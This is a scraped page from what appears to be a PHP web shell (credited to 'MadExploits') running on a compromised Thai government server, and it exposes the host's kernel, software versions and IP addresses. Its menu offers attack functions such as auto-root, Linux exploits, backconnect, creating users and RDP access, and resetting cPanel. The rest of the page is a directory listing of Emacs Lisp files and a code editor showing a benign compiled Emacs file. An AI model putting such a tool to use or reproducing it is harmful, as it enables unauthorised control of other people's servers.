Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : composite.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:12 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/composite.el ;;; in Emacs version 23.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`composite.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@1691 Alist of symbols vs integer codes of glyph reference points. A glyph reference point symbol is to be used to specify a composition rule in COMPONENTS argument to such functions as `compose-region'. Meanings of glyph reference point codes are as follows: 0----1----2 <---- ascent 0:tl or top-left | | 1:tc or top-center | | 2:tr or top-right | | 3:Bl or base-left 9:cl or center-left 9 10 11 <---- center 4:Bc or base-center 10:cc or center-center | | 5:Br or base-right 11:cr or center-right --3----4----5-- <-- baseline 6:bl or bottom-left | | 7:bc or bottom-center 6----7----8 <---- descent 8:br or bottom-right Glyph reference point symbols are to be used to specify composition rule of the form (GLOBAL-REF-POINT . NEW-REF-POINT), where GLOBAL-REF-POINT is a reference point in the overall glyphs already composed, and NEW-REF-POINT is a reference point in the new glyph to be added. For instance, if GLOBAL-REF-POINT is `br' (bottom-right) and NEW-REF-POINT is `tc' (top-center), the overall glyph is updated as follows (the point `*' corresponds to both reference points): +-------+--+ <--- new ascent | | | | global| | | glyph | | -- | | |-- <--- baseline (doesn't change) +----+--*--+ | | new | | |glyph| +----+-----+ <--- new descent A composition rule may have the form (GLOBAL-REF-POINT NEW-REF-POINT XOFF YOFF), where XOFF and YOFF specifies how much to shift NEW-REF-POINT from GLOBAL-REF-POINT. In this case, XOFF and YOFF are integers in the range -100..100 representing the shifting percentage against the font size. (defconst reference-point-alist '((tl . 0) (tc . 1) (tr . 2) (Bl . 3) (Bc . 4) (Br . 5) (bl . 6) (bc . 7) (br . 8) (cl . 9) (cc . 10) (cr . 11) (top-left . 0) (top-center . 1) (top-right . 2) (base-left . 3) (base-center . 4) (base-right . 5) (bottom-left . 6) (bottom-center . 7) (bottom-right . 8) (center-left . 9) (center-center . 10) (center-right . 11) (ml . 3) (mc . 10) (mr . 5) (mid-left . 3) (mid-center . 10) (mid-right . 5)) (#$ . 609)) #@141 Encode composition rule RULE into an integer value. RULE is a cons of global and new reference point symbols (see `reference-point-alist'). (defalias 'encode-composition-rule #[(rule) "\250\203 \306W\203 \207:\203\232 @A\307\211 :\203T A@\310 8 @\n\311Y\203D \n\312X\203D \311Y\203D \312X\204I \313\314\"\210\n\315\\ \315\\\202X \316\211\f\250\204b \f \236A \250\204l \236A\f\316Y\203\204 \f\317W\203\204 \316Y\203\204 \317W\204\211 \313\320\"\210\321\322\n\323\"\322 \324\"\f\317_ \\#,\207\313\320\"\207" [rule yoff xoff nref gref reference-point-alist 144 nil 2 -100 100 error "Invalid composition rule: %s" 128 0 12 "Invalid composition rule: %S" logior lsh 16 8] 6 (#$ . 2755)]) (defalias 'decode-composition-rule #[(rule-code) "\306!\203\f \307W\204 \310\311\"\210\312\313\"\314\312\315\"\316\"\317\211 \314\316\"\320\321\245 \"@\320\321\246 \"@\n\203I \n9\203I \203I 9\204N \310\322\"\210\f\323U\203` \323U\203` \n B\202m \f\324Z \324Z\n\f F,\207" [rule-code nref gref yoff xoff reference-point-alist natnump 16777216 error "Invalid encoded composition rule: %S" lsh -16 logand -8 255 nil rassq 12 "Invalid composition rule code: %S" 0 128] 5]) (defalias 'encode-composition-components #[(components &optional nocopy) "\204 \305 !\306 !\203. G\307\n W\203* \n\310 \nH!I\210\n\311\\\211\202 *\202E A\211 \203D \f\310\f@!\240\210\fAA\211\2045 ) \207" [nocopy components i len tail copy-sequence vectorp 1 encode-composition-rule 2] 6]) (defalias 'decode-composition-components #[(components &optional nocopy) "\204 \304 ! G\305\n W\203$ \n\306 \nH!I\210\n\307\\\211\202 * \207" [nocopy components i len copy-sequence 1 decode-composition-rule 2] 6]) #@1825 Compose characters in the current region. Characters are composed relatively, i.e. composed by overstriking or stacking depending on ascent, descent and other metrics of glyphs. For instance, if the region has three characters "XYZ", X is regarded as BASE glyph, and Y is displayed: (1) above BASE if Y's descent value is not positive (2) below BASE if Y's ascent value is not positive (3) on BASE (i.e. at the BASE position) otherwise and Z is displayed with the same rule while regarding the whole XY glyphs as BASE. When called from a program, expects these four arguments. First two arguments START and END are positions (integers or markers) specifying the region. Optional 3rd argument COMPONENTS, if non-nil, is a character, a string or a vector or list of integers and rules. If it is a character, it is an alternate character to display instead of the text in the region. If it is a string, the elements are alternate characters. In this case, TAB element has a special meaning. If the first characer is TAB, the glyphs are displayed with left padding space so that no pixel overlaps with the previous column. If the last character is TAB, the glyphs are displayed with rigth padding space so that no pixel overlaps with the following column. If it is a vector or list, it is a sequence of alternate characters and composition rules, where (2N)th elements are characters and (2N+1)th elements are composition rules to specify how to compose (2N+2)th elements with previously composed N glyphs. A composition rule is a cons of global and new glyph reference point symbols. See the documentation of `reference-point-alist' for more detail. Optional 4th argument MODIFICATION-FUNC is a function to call to adjust the composition when it gets invalid because of a change of text in the composition. (defalias 'compose-region #[(start end &optional components modification-func) "\306 \307\310\n!\204 \n<\203 \311\n!\312 \f\n $\210\313 !*\207" [inhibit-read-only modified-p components start end modification-func buffer-modified-p t vectorp encode-composition-components compose-region-internal restore-buffer-modified-p] 5 (#$ . 4489) "r"]) #@146 Decompose text in the current region. When called from a program, expects two arguments, positions (integers or markers) specifying the region. (defalias 'decompose-region #[(start end) "\304 \305\306\n \307#\210\310 !*\207" [inhibit-read-only modified-p start end buffer-modified-p t remove-text-properties (composition nil) restore-buffer-modified-p] 4 (#$ . 6667) "r"]) #@613 Compose characters in string STRING. The return value is STRING with the `composition' property put on all the characters in it. Optional 2nd and 3rd arguments START and END specify the range of STRING to be composed. They default to the beginning and the end of STRING respectively. Optional 4th argument COMPONENTS, if non-nil, is a character or a sequence (vector, list, or string) of integers. See the function `compose-region' for more detail. Optional 5th argument MODIFICATION-FUNC is a function to call to adjust the composition when it gets invalid because of a change of text in the composition. (defalias 'compose-string #[(string &optional start end components modification-func) "\305!\204 <\203 \306! \204 \307\n\204 G\310 \n\f%\210 \207" [components start end string modification-func vectorp encode-composition-components 0 compose-string-internal] 6 (#$ . 7050)]) #@56 Return STRING where `composition' property is removed. (defalias 'decompose-string #[(string) "\301\302G\303$\210\207" [string remove-text-properties 0 (composition nil)] 5 (#$ . 7956)]) #@426 Return a string from arguments in which all characters are composed. For relative composition, arguments are characters. For rule-based composition, Mth (where M is odd) arguments are characters, and Nth (where N is even) arguments are composition rules. A composition rule is a cons of glyph reference points of the form (GLOBAL-REF-POINT . NEW-REF-POINT). See the documentation of `reference-point-alist' for more detail. (defalias 'compose-chars #[(&rest args) "\305\211\nA@:\203/ \nG\306\n\307\" \203$ @ B AA\211\204 \237\260\n*\2023 \n\260\310 \311 G$*\207" [components str args tail len nil encode-composition-components nocopy compose-string-internal 0] 6 (#$ . 8153)]) #@1594 Return information about a composition at or nearest to buffer position POS. If the character at POS has `composition' property, the value is a list of FROM, TO, and VALID-P. FROM and TO specify the range of text that has the same `composition' property, VALID-P is t if this composition is valid, and nil if not. If there's no composition at POS, and the optional 2nd argument LIMIT is non-nil, search for a composition toward LIMIT. If no composition is found, return nil. Optional 3rd argument STRING, if non-nil, is a string to look for a composition in; nil means the current buffer. If a valid composition is found and the optional 4th argument DETAIL-P is non-nil, the return value is a list of FROM, TO, COMPONENTS, RELATIVE-P, MOD-FUNC, and WIDTH. COMPONENTS is a vector of integers, the meaning depends on RELATIVE-P. RELATIVE-P is t if the composition method is relative, else nil. If RELATIVE-P is t, COMPONENTS is a vector of characters to be composed. If RELATIVE-P is nil, COMPONENTS is a vector of characters and composition rules as described in `compose-region'. MOD-FUNC is a modification function of the composition. WIDTH is a number of columns the composition occupies on the screen. When Automatic Compostion mode is on, this function also finds a chunk of text that is automatically composed. If such a chunk is found closer to POS than the position that has `composition' property, the value is a list of FROM, TO, and a glyph gstring the specify how the chunk is composed. See the function `composition-get-gstring' for the format of the glyph string. (defalias 'find-composition #[(pos &optional limit string detail-p) "\305 \n $ \203% \fG\306V\203% \307\f8\203% \306\f8\204% \310\307\f8\311\"\210\f)\207" [pos limit string detail-p result find-composition-internal 3 2 decode-composition-components nocopy] 5 (#$ . 8854)]) #@517 Compose characters in current buffer after position POS. It looks up the char-table `composition-function-table' (which see) by a character at POS, and compose characters after POS according to the contents of `composition-function-table'. Optional 2nd arg LIMIT, if non-nil, limits characters to compose. Optional 3rd arg OBJECT, if non-nil, is a string that contains the text to compose. In that case, POS and LIMIT index into the string. This function is the default value of `compose-chars-after-function'. (defalias 'compose-chars-after #[(pos &optional limit object) " fH\306 \205 \n;?\205 \307 \310 \"\311\211\211 \2040 \n;\203- \nG\202. d\203\245 \203\245 \312 \313\216\212\203\244 \314@!\203W \311@\202a @@@A b\210 \203\220 \n;\203v \315 \n\"\316=\202y \317 !\203\231 \316\225X\203\231 \f \316\225\n$\202\231 \f \n$ \203A \311\211\204F + -\207" [composition-function-table pos object result func pattern display-multi-font-p font-at selected-window nil match-data ((byte-code "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3)) functionp string-match 0 looking-at font-obj tail limit save-match-data-internal] 6 (#$ . 10729)]) #@620 Compose last characters. The argument is a parameterized event of the form (compose-last-chars N COMPONENTS), where N is the number of characters before point to compose, COMPONENTS, if non-nil, is the same as the argument to `compose-region' (which see). If it is nil, `compose-chars-after' is called, and that function finds a proper rule to compose the target characters. This function is intended to be used from input methods. The global keymap binds special event `compose-last-chars' to this function. Input method may generate an event (compose-last-chars N COMPONENTS) after a sequence of character events. (defalias 'compose-last-chars #[(args) "A@\211\247\205) `eZ Y\205) \3028\203# \303` Z`\3028#\202) \304` Z`\")\207" [args chars 2 compose-region compose-chars-after] 6 (#$ . 11944) "e"]) (byte-code "\300\301\302\"\210\303\304\305\306#\207" [global-set-key [compose-last-chars] compose-last-chars put save-buffer-state lisp-indent-function 1] 4) (defalias 'lgstring-header #[(gstring) "\301H\207" [gstring 0] 2]) (put 'lgstring-header 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-set-header #[(gstring header) "\302 I\207" [gstring header 0] 3]) (put 'lgstring-set-header 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-font #[(gstring) "\211\301H)\301H\207" [gstring 0] 3]) (put 'lgstring-font 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-char #[(gstring i) "\211\302H) TH\207" [gstring i 0] 3]) (put 'lgstring-char 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-char-len #[(gstring) "\211\301H)GS\207" [gstring 0] 3]) (put 'lgstring-char-len 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-shaped-p #[(gstring) "\301H\207" [gstring 1] 2]) (put 'lgstring-shaped-p 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-set-id #[(gstring id) "\302 I\207" [gstring id 1] 3]) (put 'lgstring-set-id 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-glyph #[(gstring i) " \302\\H\207" [gstring i 2] 3]) (put 'lgstring-glyph 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-glyph-len #[(gstring) "G\301Z\207" [gstring 2] 2]) (put 'lgstring-glyph-len 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lgstring-set-glyph #[(gstring i glyph) " \303\\\nI\207" [gstring i glyph 2] 3]) (put 'lgstring-set-glyph 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-from #[(glyph) "\301H\207" [glyph 0] 2]) (put 'lglyph-from 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-to #[(glyph) "\301H\207" [glyph 1] 2]) (put 'lglyph-to 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-char #[(glyph) "\301H\207" [glyph 2] 2]) (put 'lglyph-char 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-code #[(glyph) "\301H\207" [glyph 3] 2]) (put 'lglyph-code 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-width #[(glyph) "\301H\207" [glyph 4] 2]) (put 'lglyph-width 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-lbearing #[(glyph) "\301H\207" [glyph 5] 2]) (put 'lglyph-lbearing 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-rbearing #[(glyph) "\301H\207" [glyph 6] 2]) (put 'lglyph-rbearing 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-ascent #[(glyph) "\301H\207" [glyph 7] 2]) (put 'lglyph-ascent 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-descent #[(glyph) "\301H\207" [glyph 8] 2]) (put 'lglyph-descent 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-adjustment #[(glyph) "\301H\207" [glyph 9] 2]) (put 'lglyph-adjustment 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-set-from-to #[(glyph from to) "\303 I\210\304\nI\207" [glyph from to 0 1] 3]) (put 'lglyph-set-from-to 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-set-char #[(glyph char) "\302 I\207" [glyph char 2] 3]) (put 'lglyph-set-char 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-set-code #[(glyph code) "\302 I\207" [glyph code 3] 3]) (put 'lglyph-set-code 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-set-width #[(glyph width) "\302 I\207" [glyph width 4] 3]) (put 'lglyph-set-width 'byte-optimizer 'byte-compile-inline-expand) (defalias 'lglyph-set-adjustment #[(glyph &optional xoff yoff wadjust) "\304\305 \206 \306\n\206 \306 \206 \306#I\207" [glyph xoff yoff wadjust 9 vector 0] 6]) (put 'lglyph-set-adjustment 'byte-optimizer 